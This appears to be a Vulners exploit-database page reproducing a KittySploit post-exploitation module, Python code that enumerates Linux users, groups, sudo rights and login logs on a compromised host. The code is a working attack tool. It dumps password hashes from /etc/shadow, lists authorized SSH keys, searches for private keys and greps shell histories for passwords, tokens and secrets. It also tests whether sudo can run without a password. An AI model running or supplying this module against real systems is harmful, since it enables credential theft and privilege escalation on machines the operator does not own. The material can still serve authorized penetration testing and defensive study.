Lucene search
+L

Linux User Enumeration

🗓️ 24 Jan 2026 22:19:45Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

KittySploit Linux User Enumeration enumerates users, groups, and sudo permissions.

Refs
Code
from kittysploit import *
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin

class Module(Post, System, LinuxSessionMixin):

    __info__ = {
        "name": "Linux User Enumeration",
        "description": "Enumerate users, groups, login history, sudo permissions, SSH keys, and shell history",
        "platform": Platform.LINUX,
        "author": "KittySploit Team",
        "session_type": [SessionType.SHELL, 
                        SessionType.METERPRETER,
                        SessionType.SSH],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    def run(self):
        """Enumerate user and permission information"""
        
        if not self.linux_require_linux():
            return False

        print_status("Starting user enumeration...")
        
        # 1. User Accounts
        self._enum_users()
        
        # 2. Groups
        self._enum_groups()
        
        # 3. Login History
        self._enum_login_history()
        
        # 4. Sudo Permissions
        self._enum_sudo()
        
        # 5. SSH Authorized Keys
        self._enum_ssh_keys()
        
        # 6. Shell History
        self._enum_shell_history()
        
        # 7. User Shells
        self._enum_user_shells()
        
        # 8. Current User Info
        self._enum_current_user()
        
        print_success("User enumeration completed")
        return True
    
    def _enum_users(self):
        """Enumerate user accounts"""
        print_status("="*60)
        print_status("User Accounts")
        print_status("="*60)
        
        try:
            # Read /etc/passwd
            passwd_content = self.read_file("/etc/passwd")
            if passwd_content:
                print_info("Users from /etc/passwd:")
                users = []
                for line in passwd_content.strip().split('\n'):
                    if line.strip() and not line.strip().startswith('#'):
                        parts = line.split(':')
                        if len(parts) >= 7:
                            username = parts[0]
                            uid = parts[2]
                            gid = parts[3]
                            gecos = parts[4]
                            home = parts[5]
                            shell = parts[6]
                            
                            users.append({
                                'username': username,
                                'uid': uid,
                                'gid': gid,
                                'gecos': gecos,
                                'home': home,
                                'shell': shell
                            })
                            
                            # Highlight interesting users
                            highlight = ""
                            if uid == '0':
                                highlight = " [ROOT]"
                            elif uid < '1000' and uid != '0':
                                highlight = " [SYSTEM]"
                            elif shell == '/bin/bash' or shell == '/bin/sh':
                                highlight = " [LOGIN SHELL]"
                            elif '/nologin' in shell or '/false' in shell:
                                highlight = " [NO LOGIN]"
                            
                            print_info(f"  {username}:{uid}:{gid} - {gecos} - {home} - {shell}{highlight}")
                
                print_status(f"Total users found: {len(users)}")
                
                # Count users by type
                root_users = [u for u in users if u['uid'] == '0']
                system_users = [u for u in users if u['uid'] < '1000' and u['uid'] != '0']
                login_users = [u for u in users if '/nologin' not in u['shell'] and '/false' not in u['shell']]
                
                print_info(f"  Root users (UID 0): {len(root_users)}")
                print_info(f"  System users (UID < 1000): {len(system_users)}")
                print_info(f"  Users with login shell: {len(login_users)}")
                
                # List root users
                if root_users:
                    print_status("Root users:")
                    for user in root_users:
                        print_info(f"  - {user['username']} (UID: {user['uid']})")
            
            # Try to read /etc/shadow (requires root)
            print_status("Password Hashes (/etc/shadow):")
            shadow_content = self.read_file("/etc/shadow")
            if shadow_content and "Permission denied" not in shadow_content and "No such file" not in shadow_content:
                shadow_lines = shadow_content.strip().split('\n')
                if shadow_lines and shadow_lines[0]:
                    print_warning("  Shadow file accessible! Extracting password hashes...")
                    for line in shadow_lines:
                        if line.strip() and not line.strip().startswith('#'):
                            parts = line.split(':')
                            if len(parts) >= 2:
                                username = parts[0]
                                hash_field = parts[1]
                                if hash_field and hash_field != '*':
                                    if hash_field.startswith('$'):
                                        hash_type = hash_field.split('$')[1] if '$' in hash_field else 'unknown'
                                        print_info(f"  {username}: {hash_field[:50]}... (Type: ${hash_type})")
                                    else:
                                        print_info(f"  {username}: {hash_field}")
            else:
                print_warning("  Cannot read /etc/shadow (requires root privileges)")
            
            # Get currently logged in users
            print_status("Currently Logged In Users:")
            who_output = self.linux_execute("who 2>/dev/null")
            if who_output:
                print_info(who_output)
            
            w_output = self.linux_execute("w 2>/dev/null")
            if w_output:
                print_info("Detailed user activity (w):")
                print_info(w_output)
                
        except Exception as e:
            print_warning(f"Error enumerating users: {e}")
    
    def _enum_groups(self):
        """Enumerate groups"""
        print_status("="*60)
        print_status("Groups")
        print_status("="*60)
        
        try:
            # Read /etc/group
            group_content = self.read_file("/etc/group")
            if group_content:
                print_info("Groups from /etc/group:")
                groups = []
                for line in group_content.strip().split('\n'):
                    if line.strip() and not line.strip().startswith('#'):
                        parts = line.split(':')
                        if len(parts) >= 4:
                            groupname = parts[0]
                            gid = parts[2]
                            members = parts[3].split(',') if parts[3] else []
                            
                            groups.append({
                                'name': groupname,
                                'gid': gid,
                                'members': members
                            })
                            
                            highlight = ""
                            if gid == '0':
                                highlight = " [ROOT GROUP]"
                            elif gid < '1000':
                                highlight = " [SYSTEM GROUP]"
                            
                            members_str = ', '.join(members) if members else '(no members)'
                            print_info(f"  {groupname}:{gid} - Members: {members_str}{highlight}")
                
                print_status(f"Total groups found: {len(groups)}")
                
                # Find interesting groups
                interesting_groups = ['sudo', 'admin', 'wheel', 'docker', 'lxd', 'kvm', 'audio', 'video', 'disk', 'dialout']
                print_status("Interesting Groups:")
                for group in groups:
                    if group['name'] in interesting_groups or group['gid'] == '0':
                        members_str = ', '.join(group['members']) if group['members'] else '(no members)'
                        print_info(f"  {group['name']} (GID: {group['gid']}) - Members: {members_str}")
            
            # Get current user's groups
            print_status("Current User Groups:")
            groups_output = self.linux_execute("groups 2>/dev/null")
            if groups_output:
                print_info(f"  {groups_output.strip()}")
            
            id_output = self.linux_execute("id 2>/dev/null")
            if id_output:
                print_info(f"  {id_output.strip()}")
                
        except Exception as e:
            print_warning(f"Error enumerating groups: {e}")
    
    def _enum_login_history(self):
        """Enumerate login history"""
        print_status("="*60)
        print_status("Login History")
        print_status("="*60)
        
        try:
            # Get last logins
            if self.command_exists('last'):
                print_status("Recent Logins (last):")
                last_output = self.linux_execute("last -n 20 2>/dev/null")
                if last_output:
                    for line in last_output.strip().split('\n'):
                        if line.strip() and not line.strip().startswith('wtmp'):
                            print_info(f"  {line}")
            
            # Get lastlog
            if self.command_exists('lastlog'):
                print_status("Last Login Times (lastlog):")
                lastlog_output = self.linux_execute("lastlog 2>/dev/null | head -30")
                if lastlog_output:
                    for line in lastlog_output.strip().split('\n'):
                        if line.strip() and not line.strip().startswith('Username'):
                            if 'Never logged in' not in line:
                                print_info(f"  {line}")
            
            # Get failed login attempts
            print_status("Failed Login Attempts:")
            failed_logins = self.linux_execute("grep -i 'failed\\|invalid\\|authentication failure' /var/log/auth.log /var/log/secure /var/log/messages 2>/dev/null | tail -20")
            if failed_logins:
                for line in failed_logins.strip().split('\n'):
                    if line.strip():
                        print_info(f"  {line}")
            
            # Get successful logins
            print_status("Successful Login Attempts:")
            success_logins = self.linux_execute("grep -i 'accepted\\|successful' /var/log/auth.log /var/log/secure 2>/dev/null | tail -20")
            if success_logins:
                for line in success_logins.strip().split('\n'):
                    if line.strip():
                        print_info(f"  {line}")
            
            # Check for .bash_history or .zsh_history in home directories
            print_status("Checking for shell history files...")
            home_dirs = self.linux_execute("ls -d /home/* 2>/dev/null")
            if home_dirs:
                for home_dir in home_dirs.strip().split('\n'):
                    if home_dir.strip():
                        user = home_dir.split('/')[-1]
                        history_files = [
                            f"{home_dir}/.bash_history",
                            f"{home_dir}/.zsh_history",
                            f"{home_dir}/.history"
                        ]
                        for hist_file in history_files:
                            if self.file_exist(hist_file):
                                size = self.linux_execute(f"wc -c < {hist_file} 2>/dev/null").strip()
                                if size and size.isdigit():
                                    print_info(f"  {user}: {hist_file} ({size} bytes)")
                                
        except Exception as e:
            print_warning(f"Error enumerating login history: {e}")
    
    def _enum_sudo(self):
        """Enumerate sudo permissions"""
        print_status("="*60)
        print_status("Sudo Permissions")
        print_status("="*60)
        
        try:
            # Check sudoers file
            sudoers_content = self.read_file("/etc/sudoers")
            if sudoers_content:
                print_info("Sudoers file (/etc/sudoers):")
                for line in sudoers_content.strip().split('\n'):
                    if line.strip() and not line.strip().startswith('#'):
                        # Highlight interesting lines
                        if 'NOPASSWD' in line:
                            print_warning(f"  {line} [NOPASSWD - NO PASSWORD REQUIRED!]")
                        elif 'ALL' in line and ('ALL=' in line or 'ALL,' in line):
                            print_info(f"  {line} [FULL ACCESS]")
                        else:
                            print_info(f"  {line}")
            
            # Check sudoers.d directory
            sudoers_d = self.linux_execute("ls -la /etc/sudoers.d/ 2>/dev/null")
            if sudoers_d:
                print_status("Files in /etc/sudoers.d/:")
                print_info(sudoers_d)
                
                # Read each file in sudoers.d
                files = self.linux_execute("ls /etc/sudoers.d/ 2>/dev/null")
                if files:
                    for file in files.strip().split('\n'):
                        if file.strip() and file.strip() != '.' and file.strip() != '..':
                            file_content = self.read_file(f"/etc/sudoers.d/{file}")
                            if file_content:
                                print_status(f"Sudoers.d/{file}:")
                                for line in file_content.strip().split('\n'):
                                    if line.strip() and not line.strip().startswith('#'):
                                        if 'NOPASSWD' in line:
                                            print_warning(f"  {line} [NOPASSWD]")
                                        else:
                                            print_info(f"  {line}")
            
            # Check current user's sudo permissions
            print_status("Current User Sudo Permissions:")
            sudo_l_output = self.linux_execute("sudo -l 2>/dev/null")
            if sudo_l_output and "Permission denied" not in sudo_l_output:
                print_info(sudo_l_output)
            else:
                print_info("  Cannot check sudo permissions (may require password)")
            
            # Check if current user can sudo without password
            sudo_test = self.linux_execute("sudo -n true 2>&1")
            if sudo_test and "password" not in sudo_test.lower():
                print_warning("  Current user can execute sudo without password!")
            else:
                print_info("  Current user requires password for sudo")
                
        except Exception as e:
            print_warning(f"Error enumerating sudo: {e}")
    
    def _enum_ssh_keys(self):
        """Enumerate SSH authorized keys"""
        print_status("="*60)
        print_status("SSH Authorized Keys")
        print_status("="*60)
        
        try:
            # Check for authorized_keys files in home directories
            home_dirs = self.linux_execute("ls -d /home/* 2>/dev/null")
            if home_dirs:
                for home_dir in home_dirs.strip().split('\n'):
                    if home_dir.strip():
                        user = home_dir.split('/')[-1]
                        auth_keys_file = f"{home_dir}/.ssh/authorized_keys"
                        
                        if self.file_exist(auth_keys_file):
                            print_status(f"Authorized keys for {user}:")
                            keys_content = self.read_file(auth_keys_file)
                            if keys_content:
                                key_count = len([l for l in keys_content.strip().split('\n') if l.strip() and not l.strip().startswith('#')])
                                print_info(f"  Found {key_count} authorized key(s)")
                                
                                for line in keys_content.strip().split('\n'):
                                    if line.strip() and not line.strip().startswith('#'):
                                        # Extract key type and comment
                                        parts = line.split()
                                        if len(parts) >= 2:
                                            key_type = parts[0]
                                            key_data = parts[1][:50] + "..." if len(parts[1]) > 50 else parts[1]
                                            comment = ' '.join(parts[2:]) if len(parts) > 2 else 'no comment'
                                            print_info(f"    Type: {key_type}, Comment: {comment}")
                            
                            # Check permissions
                            perms = self.linux_execute(f"ls -l {auth_keys_file} 2>/dev/null")
                            if perms:
                                print_info(f"  Permissions: {perms.strip()}")
            
            # Check root's authorized_keys
            root_auth_keys = "/root/.ssh/authorized_keys"
            if self.file_exist(root_auth_keys):
                print_status("Root authorized keys:")
                keys_content = self.read_file(root_auth_keys)
                if keys_content:
                    key_count = len([l for l in keys_content.strip().split('\n') if l.strip() and not l.strip().startswith('#')])
                    print_warning(f"  Found {key_count} authorized key(s) for ROOT!")
                    for line in keys_content.strip().split('\n'):
                        if line.strip() and not line.strip().startswith('#'):
                            parts = line.split()
                            if len(parts) >= 2:
                                key_type = parts[0]
                                comment = ' '.join(parts[2:]) if len(parts) > 2 else 'no comment'
                                print_info(f"    Type: {key_type}, Comment: {comment}")
            
            # Check for SSH private keys
            print_status("SSH Private Keys:")
            private_keys = self.linux_execute("find /home /root -name 'id_rsa' -o -name 'id_dsa' -o -name 'id_ecdsa' -o -name 'id_ed25519' 2>/dev/null | head -20")
            if private_keys:
                for key_file in private_keys.strip().split('\n'):
                    if key_file.strip():
                        print_warning(f"  Found private key: {key_file}")
                        perms = self.linux_execute(f"ls -l {key_file} 2>/dev/null")
                        if perms:
                            print_info(f"    Permissions: {perms.strip()}")
                            
        except Exception as e:
            print_warning(f"Error enumerating SSH keys: {e}")
    
    def _enum_shell_history(self):
        """Enumerate shell history files"""
        print_status("="*60)
        print_status("Shell History")
        print_status("="*60)
        
        try:
            # Get current user's history
            print_status("Current User History:")
            current_user = self.linux_execute("whoami 2>/dev/null").strip()
            if current_user:
                home_dir = self.linux_execute(f"echo ~{current_user} 2>/dev/null || getent passwd {current_user} | cut -d: -f6").strip()
                
                history_files = [
                    f"{home_dir}/.bash_history",
                    f"{home_dir}/.zsh_history",
                    f"{home_dir}/.history",
                    f"{home_dir}/.sh_history"
                ]
                
                for hist_file in history_files:
                    if self.file_exist(hist_file):
                        print_status(f"Found: {hist_file}")
                        # Get last 20 commands
                        last_commands = self.linux_execute(f"tail -20 {hist_file} 2>/dev/null")
                        if last_commands:
                            print_info("Last 20 commands:")
                            for cmd in last_commands.strip().split('\n'):
                                if cmd.strip():
                                    print_info(f"  {cmd}")
            
            # Check all users' history files
            print_status("All Users' History Files:")
            all_history = self.linux_execute("find /home /root -name '.bash_history' -o -name '.zsh_history' -o -name '.history' 2>/dev/null | head -20")
            if all_history:
                for hist_file in all_history.strip().split('\n'):
                    if hist_file.strip():
                        user = hist_file.split('/')[2] if len(hist_file.split('/')) > 2 else 'unknown'
                        size = self.linux_execute(f"wc -l < {hist_file} 2>/dev/null").strip()
                        if size and size.isdigit():
                            print_info(f"  {user}: {hist_file} ({size} lines)")
                            
                            # Look for interesting commands
                            interesting = self.linux_execute(f"grep -iE 'password|passwd|ssh|key|secret|token|api' {hist_file} 2>/dev/null | tail -5")
                            if interesting:
                                print_warning(f"    Interesting commands found:")
                                for line in interesting.strip().split('\n'):
                                    if line.strip():
                                        print_info(f"      {line[:100]}")
                                
        except Exception as e:
            print_warning(f"Error enumerating shell history: {e}")
    
    def _enum_user_shells(self):
        """Enumerate user shells"""
        print_status("="*60)
        print_status("User Shells")
        print_status("="*60)
        
        try:
            # Read /etc/shells
            shells_content = self.read_file("/etc/shells")
            if shells_content:
                print_info("Valid shells (/etc/shells):")
                for line in shells_content.strip().split('\n'):
                    if line.strip() and not line.strip().startswith('#'):
                        print_info(f"  {line}")
            
            # Count users by shell type
            passwd_content = self.read_file("/etc/passwd")
            if passwd_content:
                shell_count = {}
                for line in passwd_content.strip().split('\n'):
                    if line.strip() and not line.strip().startswith('#'):
                        parts = line.split(':')
                        if len(parts) >= 7:
                            shell = parts[6]
                            shell_count[shell] = shell_count.get(shell, 0) + 1
                
                print_status("Users by Shell Type:")
                for shell, count in sorted(shell_count.items(), key=lambda x: x[1], reverse=True):
                    highlight = ""
                    if '/nologin' in shell or '/false' in shell:
                        highlight = " [NO LOGIN]"
                    elif '/bash' in shell or '/sh' in shell:
                        highlight = " [LOGIN SHELL]"
                    print_info(f"  {shell}: {count} user(s){highlight}")
                    
        except Exception as e:
            print_warning(f"Error enumerating user shells: {e}")
    
    def _enum_current_user(self):
        """Enumerate current user information"""
        print_status("="*60)
        print_status("Current User Information")
        print_status("="*60)
        
        try:
            # Get current user
            current_user = self.linux_execute("whoami 2>/dev/null").strip()
            if current_user:
                print_info(f"Current user: {current_user}")
            
            # Get user ID
            uid = self.linux_execute("id -u 2>/dev/null").strip()
            if uid:
                print_info(f"UID: {uid}")
                if uid == '0':
                    print_warning("  Running as ROOT!")
            
            # Get groups
            groups = self.linux_execute("id 2>/dev/null").strip()
            if groups:
                print_info(f"Groups: {groups}")
            
            # Get home directory
            home = self.linux_execute("echo $HOME 2>/dev/null").strip()
            if home:
                print_info(f"Home directory: {home}")
            
            # Get current working directory
            pwd = self.pwd()
            if pwd:
                print_info(f"Current directory: {pwd}")
            
            # Check if user is in sudo group
            sudo_check = self.linux_execute("groups 2>/dev/null | grep -E 'sudo|admin|wheel'")
            if sudo_check:
                print_warning(f"  User is in privileged group: {sudo_check.strip()}")
                
        except Exception as e:
            print_warning(f"Error enumerating current user: {e}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1